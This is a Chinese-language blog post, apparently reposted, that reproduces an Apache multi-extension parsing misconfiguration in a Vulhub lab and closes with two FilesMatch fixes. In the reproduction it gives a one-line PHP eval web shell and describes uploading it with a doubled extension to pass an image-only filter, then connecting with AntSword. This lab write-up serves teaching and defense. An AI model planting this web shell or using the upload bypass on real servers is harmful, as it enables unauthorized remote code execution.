0


Apache多后缀解析漏洞复现(apache_parsing_vulnerability)

漏洞原理

apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,

漏洞复现

这里我以Vulhub靶场为例演示

[root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/     # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
[root@localhost apache_parsing_vulnerability]# docker-compose up -d   拉取镜像之后启动容器
# 注意
容器没起来可以先看看日志报错
[root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1 
/bin/sh: 0: cannot open /var/www/start.sh: Permission denied
[root@localhost apache_parsing_vulnerability]# setenforce 0    #  关闭selinux之后docker-compose up -d重启容器
[root@localhost apache_parsing_vulnerability]# docker ps -s    # 查看正在运行中的容器(容器启动成功)
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                NAMES                                   SIZE
5c1134637b1f        php:apache          "docker-php-entryp..."   20 minutes ago      Up 5 seconds        0.0.0.0:80->80/tcp   apache_parsing_vulnerability_apache_1   2 B (virtual 459 MB)

# 浏览器访问靶场环境
http://10.10.10.133/

此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示

蚁剑连接

通过蚁剑我们发现webshell成功连接

至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看

漏洞分析

我们进入容器查看一下配置文件
[root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
root@5c1134637b1f:/etc/apache2/conf-available# ls
charset.conf  docker-php.conf  localized-error-pages.conf  other-vhosts-access-log.conf  security.conf    serve-cgi-bin.conf
root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
AddHandler application/x-httpd-php .php      

DirectoryIndex disabled
DirectoryIndex index.php index.html                                                                  

<Directory /var/www/>
    Options -Indexes
    AllowOverride All
</Directory>

从上面php配置文件可知

AddHandler application/x-httpd-php .php
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析

漏洞防御手段

1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)

<FilesMatch "\.php\.">
require all denied
</FilesMatch>

2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>

小彩蛋

去阿里云官网的工作台搜索“容器镜像服务”
加速器地址: https://zw51rs4m.mirror.aliyuncs.com
配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
标签: apache 安全 中间件

本文转载自: https://blog.csdn.net/WJ_11_13/article/details/127309346
版权归原作者 爱吃仡坨 所有, 如有侵权,请联系我们删除。

“Apache多后缀解析漏洞复现(apache_parsing_vulnerability)”的评论:

还没有评论